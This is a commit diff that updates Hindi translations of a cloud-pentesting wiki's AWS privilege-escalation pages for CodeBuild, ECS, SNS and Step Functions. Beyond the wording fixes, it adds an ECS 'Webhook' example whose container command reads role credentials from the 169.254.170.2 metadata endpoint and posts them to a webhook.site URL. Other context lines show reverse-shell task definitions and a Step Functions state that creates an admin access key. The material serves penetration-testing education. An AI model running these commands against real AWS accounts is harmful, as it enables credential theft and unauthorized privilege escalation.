Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -12,7 +12,7 @@
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-इनमें से केवल एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना के लिए असाइन किए गए iam भूमिका का टोकन चुराना पर्याप्त है:
+इनमें से किसी एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -58,16 +58,16 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 {{#endtab }}
 {{#endtabs }}
 
-**नोट**: इन दो कमांड के बीच का अंतर यह है:
+**नोट**: इन दोनों कमांड के बीच का अंतर यह है:
 
 - `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है।
-- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)।
+- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)।
 
 **संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकेगा** एक चल रही भूमिका बनाकर।
+एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकता है** एक चल रही भूमिका बनाकर।
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -178,7 +178,7 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
 
 > इस फ़ाइल में **env वेरिएबल `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो क्रेडेंशियल्स तक पहुँचने के लिए **URL पथ** को शामिल करता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका क्रेडेंशियल्स को डंप करने में सक्षम होंगे।
+> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका के क्रेडेंशियल्स को डंप करने में सक्षम होंगे।
 
 > इसके अलावा, इसमें **env वेरिएबल `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है।
 
@@ -214,11 +214,11 @@ JSON="{
 
 printf "$JSON" > $REV_PATH
 
-aws codebuild update-project --cli-input-json file://$REV_PATH
+aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिविलेज़ वृद्धि।
+**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेलेज वृद्धि।
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -298,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेलेज़ वृद्धि।
+**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
 
 ### SSM
 
@@ -323,7 +323,7 @@ For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपने `buildspec.yml` फ़ाइल को एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
+एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण/पुनः निर्माण शुरू कर सकता है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
 
 Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, जो कि अधिक विशेषाधिकार प्राप्त हो।
 ```bash

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -12,7 +12,10 @@ ECS के बारे में अधिक **जानकारी**:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया टास्क परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**।
+एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया टास्क परिभाषा** उत्पन्न कर सकता है जिसमें **एक दुर्भावनापूर्ण कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -32,11 +35,51 @@ aws ecs run-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+एक साइट जैसे webhook.site के साथ एक वेबहुक बनाएं
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
 **संभावित प्रभाव:** एक अलग ECS भूमिका में सीधे प्रिवेस्क।
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\
+जैसे कि पिछले उदाहरण में, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करते हुए ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\
 हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए।
 ```bash
 # Generate task definition with rev shell
@@ -80,11 +123,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेलेज वृद्धि।
+**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-वास्तव में, केवल उन अनुमतियों के साथ, यह किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित करने के लिए ओवरराइड्स का उपयोग करना संभव है, जैसे:
+वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -97,7 +140,7 @@ aws ecs run-task \
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
 यह परिदृश्य पिछले वाले के समान है लेकिन **`iam:PassRole`** अनुमति के **बिना**।\
-यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप **नोड पर भागने के लिए एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएँ** चुरा सकते हैं जो नोड में चल रही हैं।\
+यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, तो आप **एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं ताकि** नोड पर **भाग जाएं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएं** चुरा सकें जो नोड में चल रही हैं।\
 आप यहां तक कि **अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)।
 
 > [!WARNING]
@@ -144,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** है जिससे वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\
+एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\
 हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)।
 
 इसलिए, हमलावर कोशिश कर सकता है:
@@ -174,11 +217,11 @@ aws ecs execute-command --interactive \
 
 आप **इन विकल्पों के उदाहरण** **पिछले ECS privesc अनुभागों** में पा सकते हैं।
 
-**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिविलेज़ वृद्धि।
+**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिवेस्क।
 
 ### `ssm:StartSession`
 
-देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए:
+देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -186,7 +229,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए:
+देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके:
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -201,7 +244,7 @@ TODO: क्या किसी अन्य AWS खाते से एक उ
 > [!NOTE]
 > TODO: इसका परीक्षण करें
 
-एक हमलावर जिसके पास अनुमतियाँ हैं `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है।
+एक हमलावर जिसके पास अनुमतियाँ **`ecs:CreateTaskSet`**, **`ecs:UpdateServicePrimaryTaskSet`**, और **`ecs:DescribeTaskSets`** हैं, वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है।
 ```bash
 bashCopy code# Register a task definition with a reverse shell
 echo '{

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md

@@ -16,7 +16,7 @@
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
-**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
+**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधनों का अत्यधिक उपयोग।
 
 ### `sns:Subscribe`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md

@@ -12,24 +12,24 @@
 
 ### Task Resources
 
-ये विशेषाधिकार वृद्धि तकनीकें आवश्यक होंगी कि कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग किया जाए ताकि इच्छित विशेषाधिकार वृद्धि क्रियाएँ की जा सकें।
+ये विशेषाधिकार वृद्धि तकनीकें कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग करने की आवश्यकता होंगी ताकि इच्छित विशेषाधिकार वृद्धि क्रियाएँ की जा सकें।
 
-सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:
+सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने स्वयं के AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:
 
 <figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
-या आप API AWS दस्तावेज़ में भी जा सकते हैं और प्रत्येक क्रिया के दस्तावेज़ की जांच कर सकते हैं:
+या आप AWS API दस्तावेज़ में भी जा सकते हैं और प्रत्येक क्रिया के दस्तावेज़ की जांच कर सकते हैं:
 
 - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
 - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
-एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है। संयुक्त रूप से, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि।
+एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच की संभावना बढ़ जाती है। मिलकर, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि।
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस की बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-privileged नीति का जुड़ाव होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है:
+निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ कोई उच्च-विशिष्ट नीति जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है:
 
 - **stateDefinition.json**:
 ```json
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 "status": "SUCCEEDED"
 }
 ```
-**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है।
+**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-एक हमलावर के पास **`states:CreateStateMachine`**& **`iam:PassRole`** होने पर वह एक राज्य मशीन बना सकेगा और उसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमतियाँ हैं। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**) ताकि राज्य मशीन पर निष्पादन शुरू किया जा सके।
+एक हमलावर के पास **`states:CreateStateMachine`**& **`iam:PassRole`** होने पर वह एक राज्य मशीन बना सकेगा और उसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमति है। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**) ताकि राज्य मशीन पर निष्पादन शुरू किया जा सके।
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -115,7 +115,7 @@ aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--
 }
 }
 ```
-- **कमांड** जो **राज्य मशीन** बनाने के लिए **चलाया गया**:
+- **Command** executed to **create the state machine**:
 ```bash
 aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
 {
@@ -134,7 +134,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 > [!WARNING]
 > हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने के लिए अनुमतियाँ होनी चाहिए।
 
-**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुँच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।
+**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।
 
 ### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole`
 
@@ -143,7 +143,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी उदार है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा:
 
 1. **उदार IAM भूमिका**: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही उदार है (उदाहरण के लिए, इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए **`iam:PassRole`** अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है।
-2. **गैर-उदार IAM भूमिका**: पिछले मामले के विपरीत, यहाँ एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन की परिभाषा को संशोधित करने के अलावा एक उदार IAM भूमिका को राज्य मशीन से जोड़ना आवश्यक होगा।
+2. **गैर-उदार IAM भूमिका**: पिछले मामले के विपरीत, यहाँ एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन से संबंधित एक उदार IAM भूमिका को जोड़ना आवश्यक होगा इसके अलावा राज्य मशीन की परिभाषा को संशोधित करना।
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
@@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
 {{#endtab }}
 {{#endtabs }}
 
-- **कमांड** जो **वैध स्थिति मशीन** को **अपडेट** करने के लिए **निष्पादित** की गई:
+- **कमांड** जो **वैध स्थिति मशीन** को **अपडेट** करने के लिए **निष्पादित** किया गया:
 ```bash
 aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
 {